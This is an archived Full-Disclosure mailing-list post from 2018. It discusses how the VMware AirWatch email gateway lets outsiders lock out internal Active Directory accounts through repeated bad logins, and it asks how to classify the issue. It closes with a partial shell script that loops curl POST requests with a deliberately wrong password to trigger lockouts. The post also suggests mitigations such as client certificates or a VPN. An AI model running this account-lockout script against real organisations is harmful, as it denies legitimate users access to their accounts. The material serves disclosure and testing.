lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 11 Dec 2018 13:07:51 +0100 (CET)
From: Jacek Lipkowski <>
Subject: [FD] Vmware airwatch feature

There is a non-bug works-as-designed-feature in products which expose some 
internal company resources, such as webmail, to the internet (bad 
practice, but this is often done) and use internal authentication. A few 
bad logins can lock out internal accounts (usually 3 bad logins per 
standard AD policy).

This is obvious and i would ask you a question how to classify this 
problem? Security bug? Reliability bug? Bad design? Any other comments?

One example would be Vmware Airwatch. I've audited an Airwatch PoC in 
january 2018. One of the components is a SEG (secure email gateway), which 
exposes a protocol similar to activesync to the internet. The client is 
the Vmware Boxer app (android/ios). This works for users which were not 
enrolled into airwatch.

Vmware was made aware of the problem, but didn't offer a working solution 
at that time. I've heard that right now this problem is solved by using 
some vpn solution included in the new airwatch, so this issue is 
presumably closed and therefore i'm releasing a sample script for testing.

The same could be done with imap/pop/smtp auth etc (if exposed to the 
internet, but usually isn't).


Jacek Lipkowski

------8<-----  simple demo:

# (c) 2018 Jacek Lipkowski <>
# Log into Vmware Airwatch multiple times aith an incorrect password to
# lock out internal company accounts (governed by the AD policy).
# Of course this is expected behaviour, multiple bad logins should result in a lockout.
# This works even for accounts which are not configured in Airwatch. 
# I've heard that new versions implement some kind of vpn to mitigate this.
# This script was written almost a year ago, and i don't have where to test it now, 
# so it might need some tweaking.
# Something similar should work against exchange (if exposed to the 
# internet without additional vpn), since this is just activesync 
# with additional parameters. This was tested on an Airwatch SEG installation in January 2018
# So is this a bug or not? Hard to tell. Everything works by design.
# To mitigate this use ssl with client certificates, or some form of vpn 
# to allow only known clients to login.

# usage: ./ account_to_block


BAUTH=`echo -n "${DOMAIN}\\\\${ACCOUNT}:bad_password" | openssl enc -a -e`
# note: SEG can filter based on parameters, so for example you could limit this only to
# specific device IDs, specific User-Agents etc
DEVID=11111111111111111111111111111111a #device id in hex
KONTO2="$ACCOUNT" #actually anything works here

for i in `seq 1 10`
 	echo "###   $i   ###"
 	curl   \
 		-H 'User-Agent:' \
 		-H 'Accept:' \
 		-H 'Content-Length: 0' \
 		-H "Authorization: Basic ${BAUTH}" \
 		-H "User-Agent: AirWatch Boxer (SM-A510F; Android 7.0) Version" \
 		-H "MS-ASProtocolVersion: 14.1" \
 		-H "Content-Type: application/" \
 		-X POST \


Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists